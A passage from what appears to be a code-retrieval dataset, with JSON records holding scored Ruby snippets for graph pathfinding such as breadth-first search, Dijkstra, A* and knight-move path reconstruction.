node_queue = [source_node]\n\n until node_queue.empty?\n # debugger\n current_node = node_queue.shift\n\n current_node.visited = true\n\n current_node.children.each do |child|\n next if child.visited\n return true if child == destination_node\n node_queue.push(child)\n end\n\n end\n\n false\nend", "title": "" }, { "docid": "dfb4abd624cc959ca487c4af516cc030", "score": "0.60425633", "text": "def parse_path(start_node, visited_nodes_array)\n result = []\n until visited_nodes_array.length == 0\n node = visited_nodes_array.pop\n if start_node.children.include?(node)\n result << node\n break\n else\n result << node\n end\n end\n result << start_node\n \n result.reverse\nend", "title": "" }, { "docid": "eae835f4555ba0ea88d46bd4188ea784", "score": "0.60392404", "text": "def path\n return @path if @path.any?\n node = @goal\n @cost = 0\n while node\n parent = @tree[node]\n @path.insert(0, node)\n @cost += parent ? parent.cost(node) : 0\n node = parent\n end\n return @path\n end", "title": "" }, { "docid": "e9178bf69ab79565a5d65183fedb86b2", "score": "0.6021836", "text": "def seek_from(node, path, previous_node = nil)\n add_node_to_path(previous_node, node, path)\n \n next_nodes = path.nodes.last ? graph.get_node(path.nodes.last).connected_nodes : []\n \n if next_nodes.any?\n min_distance = graph.get_node(node).connections.values.flatten.min\n other_node, distances = graph.get_node(node).connections.detect {|other, dists| dists.include?(min_distance) }\n \n count = distances.length \n \n if count == 2\n add_node_to_path(node, other_node, path)\n \n path = seek_from(node, path, other_node)\n elsif count == 1\n path = seek_from(other_node, path, node)\n else\n raise \"very multigraph - unsupported!\"\n end \n else\n # path.nodes.pop\n path = extrude_path(path)\n end\n \n path\n end", "title": "" }, { "docid": "420fa5ffd074058385ce250059e5f460", "score": "0.6000828", "text": "def shortest_path(source, target)\n init(source)\n relax_edges(target, true)\n PathBuilder.new(source, @visitor.parents_map).path(target)\n end", "title": "" }, { "docid": "420fa5ffd074058385ce250059e5f460", "score": "0.6000828", "text": "def shortest_path(source, target)\n init(source)\n relax_edges(target, true)\n PathBuilder.new(source, @visitor.parents_map).path(target)\n end", "title": "" }, { "docid": "bdda220869316212008606e3493c9bec", "score": "0.5974923", "text": "def print_path_to(node)\n path = []\n until node.nil?\n path.unshift(node.position)\n node = node.previous_move\n end\n puts \"The shortest path took #{path.length - 1} moves! Here's your path:\"\n path.each { |position| p position }\n end", "title": "" }, { "docid": "4c7fa542d57f20b3a701f8242c62af53", "score": "0.5973904", "text": "def find_path\n\n\t\t# INITIALIZE\n\t\tvalid = valid_nodes(@nodes_arr)\n\t\treachable = [@start_node] # nodes we can reach from current node\n\t\texplored = [] # closed nodes\n\t\t# nodes reachable, valid, and not explored\n\t\topen_nodes = (valid - explored) & reachable\n\t\tnode = nil\n\n\t\twhile !open_nodes.empty?\n\n\t\t\tnode = choose_node_in(open_nodes) # least total cost node\n\n\t\t\t# STOP if reached goal\n\t\t\treturn build_path if node == @goal_node \n\n\t\t\t# Don't repeat ourselves.\n\t\t\treachable.delete(node) # remove curr node from reachable\n\t\t\texplored.push(node) # add curr node to explored\n\n\t\t\t# What nodes are now open from this node?\n\t\t\t# Adjacent, not explored, and valid (not an obstacle and in maze)\n\t\t\tnew_reachable = (get_adjacent_nodes(node) - explored) & valid\n\n\t\t\t# ADD new adjacent nodes to reachable\n\t\t\tnew_reachable.each do |adj_node|\n\t\t\t\tif !reachable.include?(adj_node)\n\t\t\t\t\treachable << adj_node \n\t\t\t\tend\n\n\t\t\t\t# if this is a new path (adj_node.cost==infinity) or a shorter distance from start than before, save this path\n\t\t\t\tif adj_node.cost > (node.cost + 1)\n\t\t\t\t\tadj_node.previous = node # reset current node as parent\n\t\t\t\t\tadj_node.cost = (node.cost + 1) # reset minimum cost\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\t# REFRESH OPEN NODES\n\t\t\topen_nodes = (valid - explored) & reachable\n\n\t\tend\n\n\t\tnil # open_nodes empty - no path found\n\tend", "title": "" }, { "docid": "7b2e96200bcfe13e853bc851a537bb0d", "score": "0.5944767", "text": "def has_path?(v)\n @visited[v]\n end", "title": "" }, { "docid": "7b2e96200bcfe13e853bc851a537bb0d", "score": "0.5944767", "text": "def has_path?(v)\n @visited[v]\n end", "title": "" }, { "docid": "850ba550645a7a055583e61d8333af4d", "score": "0.5937801", "text": "def find_path_from_to(current, target, visited)\n if target == current\n return [current.name]\n end\n unless visited.include?(current.id)\n visited.add(current.id)\n current.prerequisites.each do |next_chapter|\n unless current == chapter && next_chapter == prerequisite\n path = find_path_from_to(next_chapter, target, visited)\n unless path.nil?\n path.push(current.name)\n return path\n end\n end\n end\n end\n return nil\n end", "title": "" }, { "docid": "a79db49f8bd4d1a9597ef9baada0aebb", "score": "0.5930716", "text": "def find_at_source_path\n @find_at_source_path ||= false\n end", "title": "" }, { "docid": "8dd0b56e5817d6d5a94174b5122e7ec4", "score": "0.5917787", "text": "def find_shortest_path(source, dest, graph = @graph)\n queue = [[source]]\n visited = Set.new\n\n until queue.empty?\n path = queue.shift\n vertex = path.last\n return path if vertex == dest\n\n next if visited.include?(vertex)\n\n graph[vertex].each do |curr_node|\n new_path = Array.new(path)\n new_path << curr_node\n return new_path if curr_node == dest\n\n queue << new_path\n end\n visited << vertex\n end\n end", "title": "" }, { "docid": "b4f2e611cbe67dd878809ec9ec9ffa4c", "score": "0.59115124", "text": "def find_path(dest)\n if @previous[dest] != -1\n find_path @previous[dest]\n end\n @path << dest\n end", "title": "" }, { "docid": "0d3bc6ff5794a5c497488ebedad5a396", "score": "0.590222", "text": "def line?(node)\n node.line == source_line\n end", "title": "" }, { "docid": "264e5a6a34116565ac0370cc42ead609", "score": "0.5889879", "text": "def target_node(src_node)\n (self.node2 == src_node) ? self.node1 : self.node2\n end", "title": "" }, { "docid": "8083cf5eb9ee6daaef2064c777e721bc", "score": "0.5868057", "text": "def findPath(source, sink, edges, path, illegalturns)\n # If we completed the path, return\n if source == sink\n return path\n end\n \n # Go through each edge out of here\n edges.keys.each { |edge|\n if edges[edge][0] == source # we found an edge out\n if (not illegalturns[source]) || (not path.include?(illegalturns[source][0])) or illegalturns[source][1] != edges[edge][1]\n # does not match to an illegal turn\n nxt = edges[edge][1]\n # check to make sure we haven't been here already\n if not path.include?(nxt)\n temp = findPath(nxt, sink, edges, path.clone.push(nxt), illegalturns)\n if temp\n return temp\n end\n end\n else\n # This turn is not legal\n end\n end\n }\n # If we went through all edges and found no new unique path return empty\n return nil\nend", "title": "" }, { "docid": "d9508e14fb68588a151cfbc92ad784ac", "score": "0.5865324", "text": "def shortest_paths(source)\n @graph_paths=[]\n @source = source\n dijkstra source\n nodes.each do |dest|\n @path=[]\n\n find_path dest\n\n actual_distance=if @distance[dest] != INFINITY\n @distance[dest]\n else\n \"no path\"\n end\n @graph_paths<< \"Target(#{dest}) #{@path.join(\"-->\")} : #{actual_distance}\"\n end\n @graph_paths\n end", "title": "" }, { "docid": "d9508e14fb68588a151cfbc92ad784ac", "score": "0.5865324", "text": "def shortest_paths(source)\n @graph_paths=[]\n @source = source\n dijkstra source\n nodes.each do |dest|\n @path=[]\n\n find_path dest\n\n actual_distance=if @distance[dest] != INFINITY\n @distance[dest]\n else\n \"no path\"\n end\n @graph_paths<< \"Target(#{dest}) #{@path.join(\"-->\")} : #{actual_distance}\"\n end\n @graph_paths\n end", "title": "" }, { "docid": "f34cf7a53dd1c368fb3df9ea95c510c4", "score": "0.58432394", "text": "def shortest_paths(source)\n init(source)\n relax_edges\n PathBuilder.new(source, @visitor.parents_map).paths(@graph.vertices)\n end", "title": "" }, { "docid": "e6b08035f04dc4ea04f3906bb34b5138", "score": "0.5843021", "text": "def shortest_path\n road(@end)\n @path\n end", "title": "" }, { "docid": "899c2d77e6fb0e5e6c3ac78bab8b5977", "score": "0.58399075", "text": "def paths\n [@next_node]\n end", "title": "" }, { "docid": "7b96c5ddb84e49f860d37f5d3d0201f5", "score": "0.5835374", "text": "def dfs_path(target, visited = [])\n return visited if value == target\n \n @children.each do |child|\n next if child.nil?\n\n visited << child\n result = child.dfs_path(target, visited)\n return result unless result.nil?\n end\n \n nil\n end", "title": "" }, { "docid": "b35c554a003894fc89ef29ac199ee8c5", "score": "0.5824731", "text": "def traverse(current_point, poi, current_path_key=[])\n # has this point been visited\n pp('visited') and return nil if current_path_key.include? current_point.i\n\n # add this point to the path\n new_path = current_path_key + [current_point.i]\n node = Node.new new_path\n\n pp('not traversable') and return node if !current_point.traversable?\n\n # if current_point is the interesting one\n # mark it's node as interesting for shortest path checking\n if current_point.i == poi.i\n pp 'winner'\n return node\n end\n\n pp 'checking a new node'\n\n possible_points = [\n { y: current_point.y + 1, x: current_point.x },\n { y: current_point.y - 1, x: current_point.x },\n { y: current_point.y, x: current_point.x + 1 },\n { y: current_point.y, x: current_point.x - 1 }\n ]\n\n children = possible_points.map do |coords|\n next unless coords[:y] > -1 && coords[:x] > -1 # prevents wrapping around the map\n next if @map[coords[:y]].nil? # nil if row doesn't exist (y is out of bounds)\n point = @map[coords[:y]][coords[:x]]\n end.compact # compact to remove nils\n\n # check the next nodes\n children.each{ |child| node.add_child traverse child, poi, new_path }\n node # ruby returns result of last line by default\n\n rescue Exception => e\n binding.pry\n end", "title": "" }, { "docid": "4b01cd55e73a0e213a5b250166c7a8db", "score": "0.581617", "text": "def trace_shortest_path\n return if @vertices[@finish] == 'f' #unsolved\n parent = @vertices[@finish]\n current = @finish\n while (parent != -1)\n neighbors = accessible_neighbors(current).select{|neighbor| @vertices[neighbor].is_a? Integer}\n while (not (neighbors.include? parent))\n prev_parent = parent\n parent = @vertices[parent]\n @vertices[prev_parent] = \" \"\n end\n current = parent\n parent = @vertices[parent]\n end\n\n @vertices[@start] = 's'\n @vertices[@finish] = 'f'\n end", "title": "" }, { "docid": "ddd6cec308766124b54b6da730091f36", "score": "0.58146983", "text": "def walk_relation_node(node, paths = {}, current_relation_path = [], current_relationship_path = [])\n node.each do |key, value|\n if current_relation_path.empty? && source_relationship\n current_relation_path << source_relationship.relation_name(options)\n end\n\n current_relation_path << value[:relation_name].to_s\n current_relationship_path << key.to_s\n\n rel_path = current_relationship_path.join('.')\n paths[rel_path] ||= {\n alias: nil,\n join_type: value[:type],\n relation_join_hash: relation_join_hash(current_relation_path.dup)\n }\n\n walk_relation_node(value[:relationship],\n paths,\n current_relation_path,\n current_relationship_path)\n\n current_relation_path.pop\n current_relationship_path.pop\n end\n paths\n end", "title": "" }, { "docid": "278dfd8b2f103fcbe28e53ba68daee86", "score": "0.5808131", "text": "def reconstructPath(knight, prev)\r\n # go to the destination \r\n # access destination's parent, add parent to queue \r\n # repeat \r\n path = []\r\n index = 0 \r\n while prev[index].current != knight.destination \r\n #p prev[index].current\r\n index += 1\r\n end\r\n cursor = prev[index] # cursor of which node you are on\r\n if knight.current == knight.destination \r\n return [knight.destination]\r\n end\r\n while cursor.current != knight.current\r\n path.push(cursor.current)\r\n cursor = cursor.parent \r\n end \r\n return path.reverse().unshift(knight.current)\r\n end", "title": "" }, { "docid": "95f297edddfedbb0c6b5d3cf02bb59f1", "score": "0.5797011", "text": "def shortest_path_to target\n node = Node.new(pos, 0, nil)\n seen = Set.new\n queue = []\n\n seen << node.pos\n queue << node\n adj = [\n [0, 1],\n [1, 0],\n [0, -1],\n [-1, 0],\n ]\n\n while !queue.empty?\n node = queue.shift\n\n return node if node.pos == target\n\n dist = node.dist\n i, j = node.pos\n\n neighbors = adj.map { |x, y| [x+i, y+j] }.select { |c| is_valid? c, seen }\n neighbors.each do |pos|\n n = Node.new(pos, dist + 1, node)\n queue << n\n seen << pos\n end\n end\n\n # p \"No path found to #{target}\"\n return\n end", "title": "" }, { "docid": "361f7357031d07f9a5c9bc96009a26de", "score": "0.5792843", "text": "def path(start, finish)\n @visited, @parent = [], []\n @path_found = []\n # return nil if dfsR(start, finish).nil?\n pfs(start, finish)\n if @parent[finish.index].nil?\n nil\n else\n construct_path(finish.index)\n @path_found\n end\n end", "title": "" }, { "docid": "f3ee9711a10a28e8aed376e5a749e83d", "score": "0.57817465", "text": "def explore_node(to_explore)\n # Remove it from the frontier and add it to explored\n @frontier.delete(to_explore)\n @explored << to_explore\n # If this is the goal, we win\n if to_explore == @goal_node\n @selected_path = to_explore.path\n succeed!\n else\n # Otherwise, explore its edges\n to_explore.edges.each do |edge|\n new_node = edge.node\n unless @explored.include?(new_node)\n # Set up the path to get here, then add it to the frontier\n new_node.path = to_explore.path + [edge]\n @frontier << new_node\n end\n end\n end\n end", "title": "" }, { "docid": "ac787ce1cb38470a5466add1d21a5746", "score": "0.57787067", "text": "def findPath\n\t\twhile @open_nodes.size > 0 do\n\t\t\t# grab the lowest f(x)\n\t low_i = 0\n\t for i in 0..@open_nodes.size-1\n\t if @open_nodes[i].fCost\t< @open_nodes[low_i].fCost || (@open_nodes[i].fCost == @open_nodes[low_i].fCost && @open_nodes[i].hCost == @open_nodes[low_i].hCost) then\n\t low_i = i\n\t end\n\t end\n\t best_node = low_i\n\n\t # set current node\n\t current_node = @open_nodes[best_node]\n\n\t # check if we've reached our destination\n\t \n\t game_over = goalReached(current_node.x ,current_node.y)\n\t if (game_over) then\n\t \tpath = drawPath(@start_node,@goal_node)\n\t return path\n\t end\n\n\t #now we have to remove currnt node from open set and add it to closed se\n\t @open_nodes.delete_at(best_node)\n\t @closed_nodes.push(current_node)\n\n\t #now we traverse all neighbour nodes that are not in the closed \n\t neighbours = getNeighbours(current_node) #array of neighbors\n\t for n in 0..neighbours.size-1\n\t \tneighbor = neighbours[n]\n\t nx = neighbor[0] #grab the x value\n\t ny = neighbor[1] #grab the y value\n\t\t\n\t\t\t\tmovement_cost = TERRAIN_COST[neighbor[0][1]]\n\n\t if(walkable(neighbor) && !goalReached(nx,ny))\n\t \tin_closed = false\n\t for j in 0..@closed_nodes.size-1\n\t closed_node = @closed_nodes[j]\n\t if nx == closed_node.x and ny == closed_node.y then\n\t in_closed = true\n\t break\n\t end\n\t end\n\t next if in_closed\n\n\t # check if the node is in the open nodes list\n\t # if not, use it!\n\t in_open = false\n\t for j in 0..@open_nodes.size-1\n\t open_node = @open_nodes[j]\n\t if nx == open_node.x and ny == open_node.y then\n\t in_open = true\n\t break\n\t end\n\t end\n\n\t unless in_open then\n\t new_node = Astar_Node.new(nx, ny, @closed_nodes.size-1, -1, -1, -1)\n\n\t # setup costs\n\t new_node.gCost = current_node.gCost + movement_cost.to_i\n\t new_node.hCost = determineHeuristic(new_node, @goal_node)\n\t new_node.fCost = determineFcost(new_node)\n\n\t @open_nodes.push(new_node)\n\t end\n\t end\n\t end\n\t\tend\n\t\treturn [] # return empty path\n\tend", "title": "" }, { "docid": "d9fe0f75fd7dcdb2692bd3954364c52c", "score": "0.57742774", "text": "def mark_path(path)\n path.each do |step|\n set_path_node(step.x, step.y) if step != @start_node && step != @destination_node\n end\n end", "title": "" }, { "docid": "61e215b6bcccd3695338b9f140de0b7b", "score": "0.57706475", "text": "def path(node = nil)\n if expandable?\n return expand(@path, node)\n else\n return @path\n end\n end", "title": "" }, { "docid": "703871a43e21f736fd76787b1f5e5d4a", "score": "0.5762868", "text": "def get_path_recursively(previouses, src, dest)\n return src.reference if src == dest\n if previouses[dest].nil?\n return false\n end\n [dest.reference, get_path_recursively(previouses, src, previouses[dest])].flatten\n end", "title": "" }, { "docid": "25547e9b14d158f9115fad1b558edd64", "score": "0.5762021", "text": "def reachable(graph, source)\n reached = {}\n stack = []\n\n graph[source].each do |vtx|\n stack = [vtx] unless reached[vtx]\n\n while !stack.empty?\n reached_vtx = stack.pop\n reached[reached_vtx] = true\n graph[reached_vtx].each do |neighbor|\n stack.push(neighbor) unless reached[neighbor]\n end\n end\n end\n\n reached.keys\nend", "title": "" }, { "docid": "294c6d796674ef475be73a054a994b7a", "score": "0.57594305", "text": "def find_path(ending_pos)\n chess_bfs(ending_pos)\n # x, y = @current_node.value\n # eligible_moves = MOVES.select {|i, j| eligible_space([(x + i), (y + j)]) }\n # eligible_moves.each do |shift|\n # temp = PolyTreeNode.new([(x + shift[0]), (y + shift[1])])\n # @current_node.add_child(temp)\n # end\n end", "title": "" }, { "docid": "77f4c3c266b7fe89055797cc2a1bc21d", "score": "0.575199", "text": "def get_path(start_knight, end_node)\n self.path = []\n # Loop until we have built the print array to the starting location\n until end_node.location == start_knight.location\n end_node = bfs(start_knight, end_node.location)\n bfs(start_knight, end_node)\n end\n path.unshift(start_knight)\n puts \"You reached the tile in #{path.last.dist} moves.\\n\nHere is your path from #{path[0].location} to #{path.last.location}: \\n\"\n until path.length == 1\n puts \"#{path[0].location} to #{path[1].location}\"\n path.shift\n end\n end", "title": "" }, { "docid": "a233a02613584a6b48bb4bbf14d9a35a", "score": "0.5749928", "text": "def is_relevant_for? filter, parents\n pathrel = nil\n # get the one provides representing the Node-path\n self_id = @@pool.id(\"#{name}_#{version}\")\n raise \"'#{name}_#{version}' not known for #{self}\" if self_id == 0\n provides.each do |rel|\n next if rel.name_id == name_id # skip self-provides\n next if rel.name_id == self_id\n pathrel = rel\n break\n end\n # if no provides match, check if the file matches an obsolete (deletion of path)\n pathrel = obsoletes[0] if pathrel.nil? # delete\n raise \"Node #{name} of rev #{rev.name} without path\" if pathrel.nil?\n path = pathrel.name\n unless path_matches?(path, filter) || parents[path]\n # this node doesn't touch a relevant path or a parent\n # still it might be relevant if it copies from a parent\n pathreq = requires[0] # copypath\n return nil unless pathreq # no copypath\n return nil unless parents[pathreq.name]\n Log.log(1, \"Node %s with %s copied from %s\", self, path, pathreq.name) if $debug\n return path.to_sym\n end\n Log.log(1, \"Node %s with %s is relevant\", self, path) if $debug\n\n path\n end", "title": "" }, { "docid": "f8ec54bc521501541a9184e1c74d9bf6", "score": "0.57448095", "text": "def walk(source, direction)\n # Use an iterative, breadth-first traversal of the graph. One could do\n # this recursively, but Ruby's slow function calls and even slower\n # recursion make the shorter, recursive algorithm cost-prohibitive.\n stack = [source]\n seen = Set.new\n until stack.empty?\n node = stack.shift\n next if seen.member? node\n connected = adjacent(node, :direction => direction)\n connected.each do |target|\n yield node, target\n end\n stack.concat(connected)\n seen << node\n end\n end", "title": "" }, { "docid": "db2f1dd9a262360f4853617c7e5ff6f3", "score": "0.5736939", "text": "def links_to_source\n self.class.with_descendant_point(self.source)\n end", "title": "" }, { "docid": "d1f67fcd834dbd046209a53f837de398", "score": "0.57340795", "text": "def bfs(target, node = @nodes[0])\n frontier = QueueFrontier.new\n frontier.queue.unshift({ predecessor: nil, node: node })\n until frontier.queue.empty?\n current_node = frontier.queue.pop\n if current_node[:node] == target\n path = []\n until current_node.nil?\n path << current_node[:node]\n current_node = current_node[:predecessor]\n end\n return path.reverse\n end\n frontier.discovered_nodes << current_node\n current_node[:node].neighbors.each do |neighbor|\n neighbor = KnightMoveNode.new(*neighbor)\n unless frontier.discovered_nodes.any? { |hash| hash[:node] == neighbor }\n frontier.queue.unshift({ predecessor: current_node, node: neighbor })\n end\n end\n end\n end", "title": "" }, { "docid": "c946410ac4b8322cdae25a4b4f5e98a1", "score": "0.57314163", "text": "def visit_first_swch(node, worklist=nil)\n node.paths\n end", "title": "" }, { "docid": "aa0347bf1d8e7151bbbe49861b566942", "score": "0.5730216", "text": "def visited?(node) # :nodoc:\n @visited.has_key?(node.name)\n end", "title": "" }, { "docid": "319c5934f0ec5f2923187c5f17e6a962", "score": "0.5728755", "text": "def go_there(actual_path)\n @trip.push(actual_path)\n if(@position == actual_path.from)\n @output += \"#{@position} -> #{actual_path.to}, \"\n @position = actual_path.to\n else\n @output += \"#{@position} -> #{actual_path.from}, \"\n @position = actual_path.from\n end\n end", "title": "" }, { "docid": "0a18cff4781687f84eea65008d1fc0da", "score": "0.57211316", "text": "def travel_path(start_city, path=[])\n if @visited_cities.include?(start_city.name)\n return path\n else\n @visited_cities << start_city.name\n path << start_city.name\n next_city = nearest_neighbor(start_city)\n travel_path(next_city, path)\n end\n end", "title": "" }, { "docid": "b5e0b18373d65748cccfaae1ac655be0", "score": "0.5718994", "text": "def show_path_to(node)\n if node.depth != 1\n board, color = show_path_to node.parent\n i, j = extract_move(node, color)\n board.add_stone(i, j, color)\n else\n board = @initial_board.clone\n color = @ia_color\n end\n show_node(node, board, color, i, j)\n return [board, (color == 1 ? 2 : 1)]\n end", "title": "" }, { "docid": "a41d6899613d69c6b6fa7ec09dcf4841", "score": "0.5714306", "text": "def visit_first_pntr(node, worklist=nil)\n node.paths\n end", "title": "" }, { "docid": "a781cad8375d7d3c9e1b269420207ca7", "score": "0.5714236", "text": "def find_shortest_paths(source)\n init(source)\n relax_edges\n end", "title": "" }, { "docid": "a5805fe12576a2f7ba0e387e6776ce48", "score": "0.57081115", "text": "def get_shortest_path(traversed, node, weight)\n # if node is in the traversed list, return.\n return if traversed.include? node\n \n # push the node as we have traversed it\n traversed.push node\n \n # iterate throught the node's hash\n @circuit[node].each do |key, value|\n \n if key == @end\n if @lowest_load > weight+value\n @lowest_load = weight+value\n @shortest_path = Array.new(traversed.push(key))\n traversed.pop\n end\n # skip if we have reached the 'end node' but load is greater.\n else\n # invoke shortest_path with traversed and this node\n get_shortest_path traversed, key, weight+value\n end\n end\n \n # remove the node as we have traversed all its children\n traversed.pop\n end", "title": "" }, { "docid": "47275d08f681a4297924472daa1aea64", "score": "0.57046944", "text": "def add_path(source, target, cost)\n if [email protected]?(source)\n @graph[source] = { target => cost }\n else\n @graph[source][target] = cost\n end\n\n @nodes << source unless @nodes.include?(source)\n @nodes << target unless @nodes.include?(target)\n end", "title": "" }, { "docid": "13cf0f0ad63f2b1f187eda1e79638bd9", "score": "0.5697412", "text": "def trace_path_back(ending_node)\n\t\treturn_paths = []\n\n\t\tcurrent_node = ending_node\n\t\tuntil current_node.nil?\n\t\t\treturn_paths.unshift(current_node.value)\n\t\t\tcurrent_node = current_node.parent\n\t\tend\n\n\t\treturn_paths\n end", "title": "" }, { "docid": "58811def3f58659fd6fbc444bf326276", "score": "0.5697129", "text": "def print_path(dest)\n if @prev[dest] != -1\n print_path @prev[dest]\n end\n @path << dest\n end", "title": "" }, { "docid": "abb673394f8cb2570138ffe058d9868e", "score": "0.5696882", "text": "def find_path\n\n #Add start point to \"open\" list\n open = Array.new\n closed = Array.new\n parented_start = ParentedPoint.new(@start_loc.x, @start_loc.y, nil)\n open.push(parented_start)\n\n #Add squares adjacent to starting point to open list\n adj = get_adjacent_tiles(parented_start)\n adj.each {|element| open.push(element)}\n #adj.each {|a| p \"Found adjacent at: #{a.x}, #{a.y} , g=#{a.g},h=#{a.h(@destination)},f=#{a.f(@destination)}\"}\n\n #delete starting point from open list\n open.delete(parented_start)\n closed.push(parented_start)\n ##open.each {|curr| puts \"have #{curr.x}, #{curr.y} f=#{curr.f(@destination)}\"}\n\n path = nil\n until open.empty?\n #find lowest \"f\" score on open list, add it to closed list, remove it from open list\n low_f = lowest_f(open, @destination)\n ##puts \"at #{low_f.x}, #{low_f.y} f=#{low_f.f(destination)}\"\n if low_f.x == @destination.x && low_f.y == @destination.y\n path = Array.new\n path_curr = low_f\n until path_curr == nil\n path.push Point.new(path_curr.x,path_curr.y)\n path_curr = path_curr.parent\n end\n path.reverse!\n ##path.each {|p_c| print \"#{p_c.x},#{p_c.y} \"}\n puts ''\n break;\n end\n closed.push( low_f )\n open.delete( low_f )\n\n #Add tiles adjacent to \"low_f\" to open list\n adj = get_adjacent_tiles(low_f)\n adj.each do |curr|\n #ignore if on the \"closed list\"\n on_closed = false\n closed.each do |c_obj|\n if curr.x == c_obj.x && curr.y == c_obj.y\n on_closed = true\n break\n end\n end\n if on_closed\n next\n end\n #check if tile is in \"open\" list already\n open_obj = nil\n open.each do |o_obj|\n if curr.x == o_obj.x && curr.y == o_obj.y\n open_obj = o_obj\n break\n end\n end\n #if current is already in \"open\" list, check \"g\" scores\n if open_obj != nil\n ##puts \"#{curr.x}, #{curr.y} is already in open list!\"\n #if current \"g\" score is less then \"g\" score of object in open list, replace object in open list\n if curr.g < open_obj.g\n open.delete(open_obj)\n open.push(curr)\n else\n ##puts \"open path better for #{curr.x}, #{curr.y}\"\n end\n else\n #if not in \"open\" list, add to open list\n open.push(curr)\n ##puts \" add #{curr.x}, #{curr.y} f=#{curr.f(@destination)}\"\n end\n end\n\n end\n\n @path = path\n\n end", "title": "" }, { "docid": "01c0787b0227e9a6da2727933fe5aad4", "score": "0.5695892", "text": "def find_path(source, target, map)\n came_from = {}\n frontier = [source]\n\n # Sets up the search to begin from the source\n came_from[source] = nil\n @main_loop_count = 0\n\n max_y = map.size - 1\n max_x = map[0].size - 1\n target_x = target[0]\n target_y = target[1]\n\n # Until the target is found or there are no more cells to explore from\n until came_from.has_key?(target) || frontier.empty?\n @main_loop_count += 1\n\n # Take the next frontier cell\n new_frontier = frontier.shift\n\n # Find the adjacent neighbors\n adjacent_neighbors = []\n\n # Gets all the valid adjacent_neighbors into the array\n # From southern neighbor, clockwise\n nfx = new_frontier[0]\n nfy = new_frontier[1]\n adjacent_neighbors << [nfx , nfy - 1] unless nfy == 0\n adjacent_neighbors << [nfx - 1, nfy ] unless nfx == 0\n adjacent_neighbors << [nfx , nfy + 1] unless nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy ] unless nfx == max_x\n\n adjacent_neighbors << [nfx - 1, nfy - 1] unless nfx == 0 || nfy == 0\n adjacent_neighbors << [nfx - 1, nfy + 1] unless nfx == 0 || nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy + 1] unless nfx == max_x || nfy == max_y\n adjacent_neighbors << [nfx + 1, nfy - 1] unless nfx == max_x || nfy == 0\n\n # For each of its neighbors\n # adjacent_neighbors(new_frontier).each do |neighbor|\n adjacent_neighbors.each do |neighbor|\n # That have not been visited and are not walls\n unless came_from.has_key?(neighbor) || map[neighbor[1]][neighbor[0]] != '.'\n # Add them to the frontier and mark them as visited\n frontier << neighbor\n came_from[neighbor] = new_frontier\n end\n end\n\n # Sort the frontier so cells that are close to the target are then prioritized\n frontier = frontier.sort_by { |cell| (target_x - cell[0]).abs + (target_y - cell[1]).abs }\n # @frontier.sort! { |c1, c2| ((target_x - c1[0]).abs + (target_y - c1[1]).abs) <=> ((target_x - c2[0]).abs + (target_y - c2[1]).abs) }\n # @frontier = merge_sort(@frontier, target_x, target_y)\n end\n\n # If the search found the target\n if came_from.has_key?(target)\n # Calculates the path between the target and star for the greedy search\n # Only called when the greedy search finds the target\n path = []\n next_endpoint = came_from[target]\n while next_endpoint\n path << next_endpoint\n next_endpoint = came_from[next_endpoint]\n end\n path\n else\n return nil\n end\n end", "title": "" }, { "docid": "c4368ed30bf56d2be6173c95dabb2c4c", "score": "0.5693145", "text": "def compute_shortest_path\n update_distance_of_all_edges_to(Float::INFINITY)\n @distance_to[@source_node] = 0\n\n # The prioriy queue holds a node and its distance from the source node.\n @pq.insert(@source_node, 0)\n while @pq.any?\n node = @pq.remove_min\n node.adjacent_edges.each do |adj_edge|\n relax(adj_edge)\n end\n end\n end", "title": "" }, { "docid": "61c3b9c2c99bde42235df272f67f58d3", "score": "0.56915784", "text": "def find_path_to(target)\n# queue is new array\n queue = Array.new\n# .unshift moves objects to the front \n queue.unshift(@start_node)\n# until the queue is empty\n until queue.empty?\n \n# current is equal to popping the queue (first in queue)\n current = queue.pop\n if target == current[:position]\n return current\n else\n# look for next movies if current moves is empty? not sure\n next_moves(current) if current[:moves].empty?\n# i think it might be finding current moves by unshifting the queue? not sure\n# seems to be adding moves to the queue. idk\n current[:moves].each {|move| queue.unshift(move)}\n end\n end\n nil\n end", "title": "" }, { "docid": "88e728ff37355380ec2b82760d2d9580", "score": "0.5678056", "text": "def trace_path_back(node)\n output = []\n par = node\n while par != nil\n output = [par.value] + output \n par = par.parent \n end\n # p output\n return output \n end", "title": "" }, { "docid": "a5f18d2819e3fb9cb541b7615347db38", "score": "0.56648487", "text": "def each_optimal_path(source, target)\n # Do a depth-first enumeration through the backtrace.\n paths = [OptimalPath[target]]\n until paths.empty?\n path = paths.pop\n node = path.first\n optimal_cost = optimal_cost(node)\n # The optimal cost into the last node is the total cost for the path.\n path.total_cost ||= optimal_cost\n # Get the optimal-cost nodes pointing into the head of this path.\n prev_nodes = self[node][optimal_cost]\n # If this path crosses a less optimal one, remember this in\n # last_branch_edges.\n if multicost_incoming_nodes?(node)\n path.last_branch_edges ||= prev_nodes.map do |prev_node|\n [prev_node, node]\n end\n end\n # Enumerate the optimal-cost nodes pointing into the head of this\n # path.\n prev_nodes.each do |prev_node|\n # Prepend the incoming node to the path.\n new_path = [prev_node] + path\n # Yield the new path if it is complete. Otherwise, put it back on\n # the paths list.\n if prev_node == source\n # If this path did not cross any less optimal ones, place the\n # branch after the source node.\n path.last_branch_edges ||= [new_path[0], new_path[1]]\n yield new_path\n else\n paths << new_path\n end\n end # prev_nodes.each\n end # until paths.empty?\n end", "title": "" }, { "docid": "ed1531a8b262d137bb7028f4e5f17e65", "score": "0.56606716", "text": "def find_path(dest)\n @path ||= []\n if @previous[dest] != -1\n find_path @previous[dest]\n end\n @path << dest\n end", "title": "" }, { "docid": "d8349ef45e36810c58bc6ea827475a56", "score": "0.5653462", "text": "def trace_path_to(move)\n path = []\n node = move\n\n until node.nil?\n path.unshift[node.x, node.y]\n node = node.parent\n end\n\n path\n\n end", "title": "" }, { "docid": "e58e080208b07917063d84e912c7f48d", "score": "0.5647656", "text": "def calc_path\n endpoint = state.target\n while endpoint\n state.path[endpoint] = true\n endpoint = state.came_from[endpoint]\n end\n end", "title": "" }, { "docid": "db5d87e91182ad1028165914c5fd61e5", "score": "0.56423056", "text": "def check_node node, rev, parents\n path = node.is_relevant_for?(@filter, parents)\n return nil unless path\n rev.make_relevant!\n node.make_relevant!\n\n #\n # Trace back the path in order to get the full history\n # and the parent directories\n #\n # path being a Symbol means the node copied from a relevant path. Again ensure\n # that the history and parents are complete\n #\n if node.arch != \"add\" || 